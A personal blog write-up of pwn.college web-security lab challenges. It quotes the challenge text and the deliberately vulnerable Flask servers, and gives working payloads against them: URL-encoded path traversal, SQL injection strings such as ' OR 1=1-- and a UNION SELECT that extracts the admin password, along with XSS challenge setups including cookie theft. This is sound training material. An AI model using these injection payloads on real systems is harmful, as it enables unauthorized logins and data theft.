Hi, I’m che. This post documents my personal practice on pwn.college. I found the platform’s challenges to be of very high quality, but noticed there were barely any write-ups available online — which is why I decided to write one myself.Only after completing the article did I realize that team has advised not to publish write-ups. I had already put in the effort, and since my website has almost no traffic (lol), I decided to publish this post anyway — but with caution. To respect the original intention of the developers:
I have set the SEO of this post to false.
Neither the title nor the URL includes any sensitive keywords.
It’s very unlikely for someone to find this post via Google or other search engines.
If you are a member of the pwn.college team and would prefer this post to be taken down, please contact me at dylan.jc2222@gmail.com — I will remove it promptly upon request. To any readers who happen to find this post, please refrain from widely sharing it with others. Thanks for your understanding!
This level will explore the intersection of Linux path resolution, when done naively, and unexpected web requests from an attacker. We've implemented a simple web server for you --- it will serve up files from /challenge/files over HTTP. Can you trick it into giving you the flag?
The webserver program is /challenge/server. You can run it just like any other challenge, then talk to it over HTTP (using a different terminal or a web browser). We recommend reading through its code to understand what it is doing and to find the weakness!
HINT: If you're wondering why your solution isn't working, make sure what you're trying to query is what is actually being received by the server! curl -v [url] can show you the exact bytes that curl is sending over.
查看原始server的檔案,發現目錄/blob
cat /challenge/server
如果用../會被直接替換掉,所以要用%2F 最後加上flag成功取得
Path Traversal 2 (Unfinished)
1 2 3 4 5
The previous level's path traversal happened because of a disconnect between:
The developer's awareness of the true range of potential input that an attacker might send to their application (e.g., the concept of an attacker sending characters that have special meaning in paths). A gap between the developer's intent (the implementation makes it clear that we only expect files under the /challenge/files directory to be served to the user) and the reality of the filesystem (where paths can go "back" up a directory level). This level tries to stop you from traversing the path, but does it in a way that clearly demonstrates a further lack of the developer's understanding of how tricky paths can truly be. Can you still traverse it?
hacker@web-security~path-traversal-2:/challenge/files$ cat index.html You rascal! We've secured this server. You'll have to content yourself with <a href="fortunes/fortune-1.txt">a</a> <a href="fortunes/fortune-2.txt">few</a> <a href="fortunes/fortune-3.txt">fortunes</a>.
(這題還沒解出來,解出來再補:D)
CMDi 1
1 2 3 4 5 6 7 8 9 10 11 12
Now, imagine getting more crazy than these security issues between the web server and the file system. What about interactions between the web server and the whole Linux shell?
Depressingly often, developers rely on the command line shell to help with complex operations. In these cases, a web server will execute a Linux command and use the command's results in its operation (a frequent usecase of this, for example, is the Imagemagick suite of commands that facilitate image processing). Different languages have different ways to do this (the simplest way in Python is os.system, but we will mostly be interacting with the more advanced subprocess.check_output), but almost all suffer from the risk of command injection.
In path traversal, the attacker sent an unexpected character (.) that caused the filesystem to do something unexpected to the developer (look in the parent directory). The shell, similarly, is chock full of special characters that cause effects unintended by the developer, and the gap between what the developer intended and the reality of what the shell (or, in previous challenges, the file system) does holds all sorts of security issues.
For example, consider the following Python snippet that runs a shell command:
os.system(f"echo Hello {word}") The developer clearly intends the user to send something like Hackers, and the result to be something like the command echo Hello Hackers. But the hacker might send anything the code doesn't explicitly block. Recall what you learned in the Chaining module of the Linux Luminarium: what if the hacker sends something containing a ;?
In this level, we will explore this exact concept. See if you can trick the level and leak the flag!
Many developers are aware of things like command injection, and try to prevent it. In this level, you may not use ;! Can you think of another way to command-inject? Recall what you learned in the Piping module of the Linux Luminarium...
An interesting thing about command injection is that you don't get to choose where in the command the injection occurs: the developer accidentally makes that choice for you when writing the program. Sometimes, these injections occur in uncomfortable places. Consider the following:
os.system(f"echo Hello '{word}'") Here, the developer tried to convey to the shell that word should really be only one word. The shell, when given arguments in single quotes, treats otherwise-special characters like ;, $, and so on as just normal characters, until it hits the closing single quote (').
This level gives you this scenario. Can you bypass it?
HINT: Keep in mind that there will be a ' character right at the end of whatever you inject. In the shell, all quotes must be matched with a partner, or the command is invalid. Make sure to craft your injection so that the resulting command is valid!
根據題目敘述,那就直接拿前面兩題的寫法,加上``就好了
CMDi 4
1
Calling shell commands to carry out work, or "shelling out" as it is often termed, is dangerous. Any part of a shell command is potentially injectible! In this level, we'll practice injecting into a slightly different part of a slightly different command.
Programs tend to shell out to do complex internal computation. This means that you might not always get sent the resulting output, and you will need to do your attack blind. Try it in this level: without the output of your injected command, get the flag!
Of course, web applications can have security vulnerabilities that have nothing to do with the shell. A common type of vulnerability is an Authentication Bypass, where an attacker can bypass the typical authentication logic of an application and log in without knowing the necessary user credentials.
This level challenges you to explore one such scenario. This specific scenario arises because, again, of a gap between what the developer expects (that the URL parameters set by the application will only be set by the application itself) and the reality (that attackers can craft HTTP requests to their hearts content).
This level assumes a passing familiarity with SQL, which you can develop in the SQL Playground. SQL will become incredibly relevant later, but for now, it is an incidental part of the challenge.
Anyways, go and bypass this authentication to log in as the admin user and get the flag!
import tempfile import sqlite3 import flask import os
app = flask.Flask(__name__)
# Don't panic about this class. It simply implements a temporary database in which # this application can store data. You don't need to understand its internals, just # that it processes SQL queries using db.execute(). classTemporaryDB: def__init__(self): self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB() # https://www.sqlite.org/lang_createtable.html db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)]) # https://www.sqlite.org/lang_insert.html db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["GET"]) defchallenge_get(): ifnot (username := flask.request.args.get("session_user", None)): page = "<html><body>Welcome to the login service! Please log in as admin to get the flag." else: page = f"<html><body>Hello, {username}!" if username == "admin": page += "<br>Here is your flag: " + open("/flag").read()
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)]) db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
Authentication bypasses are not always so trivial. Sometimes, the logic of the application might look correct, but again, the gap between what the developer expects to be true and what will actually be true rears its ugly head. Give this level a try, and remember: you control the requests, including all the HTTP headers sent!
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB() # https://www.sqlite.org/lang_createtable.html db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)]) # https://www.sqlite.org/lang_insert.html db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["GET"]) defchallenge_get(): ifnot (username := flask.request.cookies.get("session_user", None)): page = "<html><body>Welcome to the login service! Please log in as admin to get the flag." else: page = f"<html><body>Hello, {username}!" if username == "admin": page += "<br>Here is your flag: " + open("/flag").read()
Of course, these sorts of security gaps abound! For example, in this level, the specification of the logged in user is actually secure. Instead of get parameters or raw cookies, this level uses an encrypted session cookie that you will not be able to mess with. Thus, your task is to get the application to actually authenticate you as admin!
Luckily, as the name of the level suggests, this application is vulnerable to a SQL injection. A SQL injection, conceptually, is to SQL what a Command Injection is to the shell. In Command Injections, the application assembled a command string, and a gap between the developer's intent and the command shell's actual functionality enabled attackers to carry out actions unintended by the attacker. A SQL injection is the same: the developer builds the application to make SQL queries for certain goals, but because of the way these queries are assembled by the application logic, the resulting actions of the SQL query, when executed by the database, can be disastrous from a security perspective.
Command injections don't have a clear solution: the shell is an ancient piece of technology, and the interfaces to the shell have ossified decades ago and are very hard to change. SQL is somewhat more nimble, and most databases now provide interfaces that are very resistant to being SQL-injectible. In fact, the authentication bypass levels used such interfaces: they are very vulnerable, but not to SQL injection.
This level, on the other hand, is SQL injectible, as it purposefully uses a slightly different way to make SQL queries. When you find the SQL query into which you can inject your input (hint: it is the only SQL query to substantially differ between this level and the previous level), look at what the query looks like right now, and what unintended conditions you might inject. The quintessential SQL injection adds a condition so that an application can succeed without knowing the password. How can you accomplish this?
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as pin""", [random.randrange(2**32, 2**63)]) # https://www.sqlite.org/lang_insert.html db.execute("""INSERT INTO users SELECT "guest" as username, 1337 as pin""")
@app.route("/log", methods=["GET"]) defchallenge_get(): ifnot (username := flask.session.get("user", None)): page = "<html><body>Welcome to the login service! Please log in as admin to get the flag." else: page = f"<html><body>Hello, {username}!" if username == "admin": page += "<br>Here is your flag: " + open("/flag").read()
SELECT rowid, *FROM users WHERE username ='<user_input>'AND pin =<pin_input>;
所以如果輸入'OR 1=1'就會變成
1
SELECT rowid, *FROM users WHERE username =''OR1=1''AND pin =123;
那還是會讀到後面的pin的部分 所以如果注入的是' OR 1=1-- 那完整語法變成
1
SELECT rowid, *FROM users WHERE username =''OR1=1--' AND pin = 123;
後面的pin被--註解掉了
成功進來,但你會發現沒有flag 這是因為你的身分不是admin,可以回去看code
1 2 3 4 5 6 7 8
@app.route("/log", methods=["GET"]) defchallenge_get(): ifnot (username := flask.session.get("user", None)): page = "<html><body>Welcome to the login service! Please log in as admin to get the flag." else: page = f"<html><body>Hello, {username}!" if username == "admin": page += "<br>Here is your flag: " + open("/flag").read()
就會發現,歐原來他強制規定使用者是admin,那上面改user的payload就是錯誤示範 所以我們固定user是admin,然後password的部分就變成123 or 1=1,這樣不管你的真實密碼是什麼,or 1=1一定成立,所以就成功了 完整sqli 語法:
1
SELECT rowid, *FROM users WHERE username ='admin'AND pin =123or1=1 ;
SQLi 2
1
The previous level's SQL injection was quite simple to pull off and still have a valid SQL query. This was, in part, because your injection happened at the very end of the query. In this level, however, your injection happens partway through, and there is (a bit) more of the SQL query afterwards. This complicates matters, because the query must remain valid despite your injection.
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)]) # https://www.sqlite.org/lang_insert.html db.execute("""INSERT INTO users SELECT "guest" as username, 'password' as password""")
@app.route("/portal", methods=["GET"]) defchallenge_get(): ifnot (username := flask.session.get("user", None)): page = "<html><body>Welcome to the login service! Please log in as admin to get the flag." else: page = f"<html><body>Hello, {username}!" if username == "admin": page += "<br>Here is your flag: " + open("/flag").read()
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'"
那我們如何透過admin權限來獲得flag呢?
對比前一題的code
1
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND pin = { pin }"
OK 他多了''把東西包起來 所以我們嘗試username輸入admin 跟 pin輸入123 'or 1=1--,就跟上一題的結果一樣了 完整sql變成:
1
SELECT rowid, *FROM users WHERE username ='admin'AND password ='123 'or1=1--'
輕鬆解決!
SQli 3
1 2 3 4 5
If you recall, your command injection exploits typically caused additional commands to be executed. So far, your SQL injections have simply modified the conditions of existing SQL queries. However, similar to how the shell has ways to chain commands (e.g., ;, |, etc), some SQL queries can be chained as well!
An attacker's ability to chain SQL queries has extremely powerful potential. For example, it allows the attacker to query completely unintended tables or completely unintended fields in tables, and leads to the types of massive data disclosures that you read about on the news.
This level will require you to figure out how to chain SQL queries in order to leak data. Good luck!
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB()
db.execute(f"""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()]) # https://www.sqlite.org/lang_insert.html db.execute(f"""INSERT INTO users SELECT "guest" as username, "password" as password""")
# https://www.sqlite.org/lang_select.html sql = f'SELECT username FROM users WHERE username LIKE "{query}"' print(f"DEBUG: {query=}") results = "\n".join(user["username"] for user in db.execute(sql).fetchall()) except sqlite3.Error as e: results = f"SQL error: {e}"
returnf""" <html><body>Welcome to the user query service! <form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form> <hr> <b>Query:</b> <pre>{ sql }</pre><br> <b>Results:</b><pre>{results}</pre> </body></html> """
sql = f'SELECT username FROM users WHERE username LIKE "{query}"'
1
SELECT username FROM users WHERE username LIKE "{query}"
但會發現,歐原來不再分成兩個輸入框了,變成
輸入%" UNION SELECT password FROM users WHERE username='admin'-- 完整sql會從
1
SELECT username FROM users WHERE username LIKE "%"
變成
1
SELECT username FROM users WHERE username LIKE "%" UNIONSELECT password FROM users WHERE username='admin'--"
運用UNION SELECT的方式控制查詢的輸出欄位
SQLi 4
1 2 3 4 5
So far, the database structure has been known to you (e.g., the name of the users table), allowing you to knowingly craft your queries. As a developer, you might be tempted to prevent this by, say, randomizing your table names, so that an attacker can't specify them to query data that they are not supposed to. Unfortunately, this is not the slam dunk that you might think it is.
Databases are complex and much too clever for their own good. For example, almost all modern databases keep the database layout specification itself in a table. Attackers can query this table to get the table names, field names, and whatever other information they might need!
In this level, the developers have randomized the name of the (previously known as) users table. Find it, and find the flag!
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB()
random_user_table = f"users_{random.randrange(2**32, 2**33)}" db.execute(f"""CREATE TABLE {random_user_table} AS SELECT "admin" AS username, ? as password""", [open("/flag").read()]) # https://www.sqlite.org/lang_insert.html db.execute(f"""INSERT INTO {random_user_table} SELECT "guest" as username, "password" as password""")
try: # https://www.sqlite.org/schematab.html # https://www.sqlite.org/lang_select.html sql = f'SELECT username FROM {random_user_table} WHERE username LIKE "{query}"' print(f"DEBUG: {query=}") results = "\n".join(user["username"] for user in db.execute(sql).fetchall()) except sqlite3.Error as e: results = f"SQL error: {e}"
returnf""" <html><body>Welcome to the user query service! <form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form> <hr> <b>Query:</b> <pre>{ sql.replace(random_user_table, "REDACTED") }</pre><br> <b>Results:</b><pre>{results}</pre> </body></html> """
%" UNION SELECT password FROM users_8234614927 WHERE username='admin'--
OK,輕鬆解決!
SQLi 5 (Unfinished)
1 2 3 4 5
SQL injection happen in all sorts of places in an application and, like command injections, sometimes the result of the query is not sent back to you. With command injections, this case is easier: the commandline is so powerful that you can do a lot of things even blindly. With SQL injections, this is sometimes not the case. For example, unlike some other databases, the SQLite database used in this module cannot access the filesystem, execute commands, and so on.
So, if the application does not show you the data resulting from your SQL injection, how do you actually leak the data? Sometimes, even if the actual data is not shown, you can recover one bit! If the result of a query can make the application act two different ways (say, redirecting to an "Authentication Success" page versus an "Authentication Failure" page), then an attacker can carefully craft yes/no questions that they can get answers to.
This challenge gives you exactly this scenario. Can you leak the flag?
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()]) # https://www.sqlite.org/lang_insert.html db.execute("""INSERT INTO users SELECT "guest" as username, 'password' as password""")
@app.route("/", methods=["GET"]) defchallenge_get(): ifnot (username := flask.session.get("user", None)): page = "<html><body>Welcome to the login service! Please log in as admin to get the flag." else: page = f"<html><body>Hello, {username}!"
SELECT rowid, * FROM users WHERE username = 'admin' AND password = ''OR 1=1--'
XSS 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Semantic gaps can occur (and lead to security issues) at the interface of any two technologies. So far, we have seen them happen between:
- A web application and the file system, leading to path traversal. - A web application and the command line shell, leading to command injection. - A web application and the database, leading to SQL injection.
One part of the web application story that we have not yet looked at is the web browser. We will remedy that oversight with this challenge.
A modern web browser is an extraordinarily complex piece of software. It renders HTML, executes JavaScript, parses CSS, lets you access pwn.college, and much much more. Specifically important to our purposes is the HTML that you have seen being generated by every challenge in this module. When the web application generated paths, we ended up with path traversals. When the web application generated shell commands, we ended up with shell injections. When the web application generated SQL queries, we ended up with SQL injections. Do we really think HTML will fare any better? Of course not.
The class of vulnerabilities in which injections occur into client-side web data (such as HTML) is called Cross Site Scripting, or XSS for short (to avoid the name collision with Cascading Style Sheets). Unlike the previous injections, where the victim was the web server itself, the victims of XSS are other users of the web application. In a typical XSS exploit, an attacker will cause their own code to be injected into (typically) the HTML produced by a web application and viewed by a victim user. This will then allow the attacker to gain some control within the victim's browser, leading to a number of potential downstream shenanigans.
This challenge is a very first step in this direction. As before, you will have the /challenge/server web server. This challenge explores something called Stored XSS, which means that data that you store on the server (in this case, posts in a forum) will end up being shown to a victim user. Thus, we need a victim to view these posts! You will now have a /challenge/victim program that simulates a victim user visiting the web server.
Set up your attack and invoke /challenge/victim with the URL that will trigger the Stored XSS. In this level, all you have to do is inject a textbox. If our victim script sees three textboxes, we will give you the flag!
DEBUGGING: How do you debug these sorts of attacks? The most common thing to go wrong in this simple scenario is that the resulting post-injection HTML is invalid. Here, the View Source functionality of your browser can help. You can either try launching your attack against the web browser in the DOJO's GUI Desktop (e.g., set up the XSS, then visit with the DOJO's Firefox rather than with /challenge/victim), and View Source, or just use curl and read the result. The result, after you inject your payload, should still be valid (but newly-evil) HTML!
import requests import psutil import sys import re
open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"} if80notin open_ports: print("Service doesn't seem to be running?") sys.exit(1) challenge_url = "http://challenge.localhost:80/" flag = open("/flag").read().strip()
print(f"Visiting {challenge_url}...") try: num_inputs = len(re.findall(r"<input[^<]*>", requests.get(challenge_url, timeout=1).text)) if num_inputs <= 2: print("You did not inject an <input> textbox...") else: print("You got it! Here is your flag:") print(flag) except requests.exceptions.ConnectionError: print("Connection error... Is the service running?")
try: num_inputs = len(re.findall(r"<input[^<]*>", requests.get(challenge_url, timeout=1).text)) if num_inputs <= 2: print("You did not inject an <input> textbox...") else: print("You got it! Here is your flag:") print(flag)
Okay, so injecting some HTML was pretty cool! You can imagine how this can be used to confuse victims, but it gets worse...
In the 1990s, the wise designers of the web invented JavaScript to make websites more interactive. JavaScript lives alongside your HTML, and makes things interesting. For example, this turns your browser into a clock:
<html> <body> <script> document.body.innerHTML = Date(); </script> </body> </html> Basically, the HTML <script> tag tells the browser that what is inside that tag is JavaScript, and the browser executes it. I'm sure you can see where this is going...
In the previous level, you injected HTML. In this one, you must use the exact same Stored XSS vulnerability to execute some JavaScript in the victim's browser. Specifically, we want you to execute the JavaScript alert("PWNED") to pop up an alert that informs the victim that they've been pwned. The how of this level is the exact same as the previous one; only the what changes, and suddenly, you're cooking with gas!
DEBUGGING: Here, we need a slightly more advanced approach to debugging. Two main things can go wrong here.
- First, you might not be injecting your <script> tag properly. You should check this similar to the debugging path of the previous challenge: bring it up in Firefox and View Source or Inspect Element to make sure it looks correct. - Second, your actual JavaScript might be buggy. JavaScript errors will show up on your Firefox console. Pull up the web development console in the DOJO's Firefox, load the page, and see if anything has gone wrong! If it hasn't, consider resorting to print-debugging inside JavaScript (you can print to the console with, e.g., console.log("wtf").
import psutil import urllib import atexit import time import sys import os
from selenium import webdriver from selenium.webdriver.firefox.options import Options as FirefoxOptions from selenium.webdriver.firefox.service import Service as FirefoxService from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, WebDriverException
open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"} if80notin open_ports: print("Service doesn't seem to be running?") sys.exit(1)
challenge_url = "http://challenge.localhost:80/"
print(f"Visiting {challenge_url}") browser.get(challenge_url) try: WebDriverWait(browser, 1).until(EC.alert_is_present()) except TimeoutException: print("Failure: JavaScript alert did not trigger...") sys.exit(3) else: print("Alert triggered! Your reward:") print(open("/flag").read().strip())
In the previous examples, your injection content was first stored in the database (as posts), and was triggered when the web server retrieved it from the database and sent it to the victim's browser. Because the data has to be stored first and retrieved later, this is called a Stored XSS. However, the magic of HTTP GET requests and their URL parameters opens the door to another type of XSS: Reflected XSS.
Reflected XSS happens when a URL parameter is rendered into a generated HTML page in a way that, again, allows the attacker to insert HTML/JavaScript/etc. To carry out such an attack, an attacker typically needs to trick the victim into visiting a very specifically-crafted URL with the right URL parameters. This is unlike a Stored XSS, where an attacker might be able to simply make a post in a vulnerable forum and wait for victims to stumble onto it.
Anyways, this level is a Reflected XSS vulnerability. The /challenge/victim of this challenge takes a URL argument on the commandline, and it will visit that URL. Fool the /challenge/victim into making a JavaScript alert("PWNED"), and you'll get the flag!
import psutil import urllib import atexit import time import sys import os
from selenium import webdriver from selenium.webdriver.firefox.options import Options as FirefoxOptions from selenium.webdriver.firefox.service import Service as FirefoxService from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, WebDriverException
open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"} if80notin open_ports: print("Service doesn't seem to be running?") sys.exit(1)
url_parsed = urllib.parse.urlparse(challenge_url) if url_parsed.hostname != "challenge.localhost": print("Hostname should be 'challenge.localhost'.") sys.exit(2) if url_parsed.port notin {None, 80}: print("Port should be 80.") sys.exit(3)
print(f"Visiting {challenge_url}") browser.get(challenge_url) try: WebDriverWait(browser, 1).until(EC.alert_is_present()) except TimeoutException: print("Failure: JavaScript alert did not trigger...") sys.exit(3) else: print("Alert triggered! Your reward:") print(open("/flag").read().strip())
Like with SQL injection and command injection, sometimes your XSS occurs in the middle of some non-optimal context. In SQL, you have dealt with injecting into the middle of quotes. In XSS, you often inject into, for example, a textarea, as in this challenge. Normally, text in a textarea is just, well, text that'll show up in a textbox on the page. Can you bust out of this context and alert("PWNED")?
As before, the /challenge/victim of this challenge takes a URL argument on the commandline, and it will visit that URL.
import psutil import urllib import atexit import time import sys import os
from selenium import webdriver from selenium.webdriver.firefox.options import Options as FirefoxOptions from selenium.webdriver.firefox.service import Service as FirefoxService from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, WebDriverException
open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"} if80notin open_ports: print("Service doesn't seem to be running?") sys.exit(1)
url_parsed = urllib.parse.urlparse(challenge_url) if url_parsed.hostname != "challenge.localhost": print("Hostname should be 'challenge.localhost'.") sys.exit(2) if url_parsed.port notin {None, 80}: print("Port should be 80.") sys.exit(3)
print(f"Visiting {challenge_url}") browser.get(challenge_url) try: WebDriverWait(browser, 1).until(EC.alert_is_present()) except TimeoutException: print("Failure: JavaScript alert did not trigger...") sys.exit(3) else: print("Alert triggered! Your reward:") print(open("/flag").read().strip())
Actual XSS exploits try to achieve something more than alert("PWNED"). A very common goal is to use the ability to execute JavaScript inside a victim's browser to initiate new HTTP requests masquerading as the victim. This can be done in a number of ways, including using JavaScript's fetch() function.
This challenge implements a more complex application, and you will need to retrieve the flag out of the admin user's unpublished draft post. After XSS-injecting the admin, you must use the injection to make an HTTP request (as the admin user) to enable you to read the flag. Good luck!
DEBUGGING: This level adds an additional bit of complexity to the injected script: the fetch(). Now, three things can go wrong:
- The <script> HTML injection. Again, verify that using View Source or Inspect Element in the DOJO's Firefox. Log in as guest (or modify the script so that you can log in as admin in practice mode) and play around graphically. - The JavaScript itself. Verify this by checking Firefox's JavaScript console for errors and by using print-debugging (to the Firefox console by doing console.log). - The GET request that you'll trigger using fetch() or whatnot. You can, again, debug this in Firefox by looking at the Network tab of the Web Developer Tools. Have the tab open, trigger your attack, and see what's happening with the actual request.
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag]) db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag]) # https://www.sqlite.org/lang_insert.html db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""") db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
# https://www.sqlite.org/lang_select.html user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone() ifnot user: flask.abort(403, "Invalid username or password")
@app.route("/publish", methods=["GET"]) defchallenge_publish(): if"username"notin flask.session: flask.abort(403, "Log in first!")
# https://www.sqlite.org/lang_update.html db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")]) return flask.redirect("/")
@app.route("/", methods=["GET"]) defchallenge_get(): page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n" username = flask.session.get("username", None) if username: page += """ <form action=draft method=post> Post:<textarea name=content>Write something!</textarea> <input type=checkbox name=publish>Publish <input type=submit value=Save> </form><br> <a href=publish>Publish your drafts!</a> <hr> """
for post in db.execute("SELECT * FROM posts").fetchall(): page += f"""<h2>Author: {post["author"]}</h2>""" if post["published"]: page += post["content"] + "<hr>\n" else: page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>""" else: page += """ <form action=login method=post> Username:<input type=text name=username> Password:<input type=text name=password> <input type=submit name=submit value=Login> </form><hr> """
import psutil import urllib import atexit import time import sys import os
from selenium import webdriver from selenium.webdriver.firefox.options import Options as FirefoxOptions from selenium.webdriver.firefox.service import Service as FirefoxService from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, WebDriverException
open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"} if80notin open_ports: print("Service doesn't seem to be running?") sys.exit(1)
Once an attacker has code execution inside a victim's browser, they can do a lot of things. You've made a GET request in your previous attack, but typically, it's the POST requests that will change application state. This challenge ratchets up the realism: the /publish now needs a POST request. Luckily, fetch supports this!
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag]) db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag]) # https://www.sqlite.org/lang_insert.html db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""") db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
# https://www.sqlite.org/lang_select.html user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone() ifnot user: flask.abort(403, "Invalid username or password")
import psutil import urllib import atexit import time import sys import os
from selenium import webdriver from selenium.webdriver.firefox.options import Options as FirefoxOptions from selenium.webdriver.firefox.service import Service as FirefoxService from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, WebDriverException
open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"} if80notin open_ports: print("Service doesn't seem to be running?") sys.exit(1)
Depending on the attacker's goals, what they might actually be after is the victim's entire account. For example, attackers might use XSS to exfiltrate victim authentication data and then use this data to take over the victim's account.
Authentication data is often stored via browser cookies, such as what happened in Authentication Bypass 2 (but, typically, much more secure). If an attacker can leak these cookies, the result can be disastrous for the victim.
This level stores the authentication data for the logged in user in a cookie. You must use XSS to leak this cookie so that you can, in turn, use it in a request to impersonate the admin user. This exfiltration will happen over HTTP to a server that you run, and everything you need is available via JavaScript's fetch() and its ability to access (some) site cookies.
HINT: By "server that you run", we really mean that listening on a port with nc will be sufficient. Look at the -l and -v options to nc.
defexecute(self, sql, parameters=()): connection = sqlite3.connect(self.db_file.name) connection.row_factory = sqlite3.Row cursor = connection.cursor() result = cursor.execute(sql, parameters) connection.commit() return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag]) db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag[-20:]]) # https://www.sqlite.org/lang_insert.html db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""") db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
# https://www.sqlite.org/lang_select.html user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone() ifnot user: flask.abort(403, "Invalid username or password")
@app.route("/draft", methods=["POST"]) defchallenge_draft(): username, password = flask.request.cookies.get("auth", "|").split("|") user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone() ifnot user: flask.abort(403, "Invalid username or password")
if username == "admin": flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure") content = flask.request.form.get("content", "") # https://www.sqlite.org/lang_insert.html db.execute( "INSERT INTO posts (content, author, published) VALUES (?, ?, ?)", (content, username, bool(flask.request.form.get("publish"))), ) return flask.redirect("/")
@app.route("/publish", methods=["POST"]) defchallenge_publish(): username, password = flask.request.cookies.get("auth", "|").split("|") user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone() ifnot user: flask.abort(403, "Invalid username or password")
if username == "admin": flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure") # https://www.sqlite.org/lang_update.html db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username]) return flask.redirect("/")
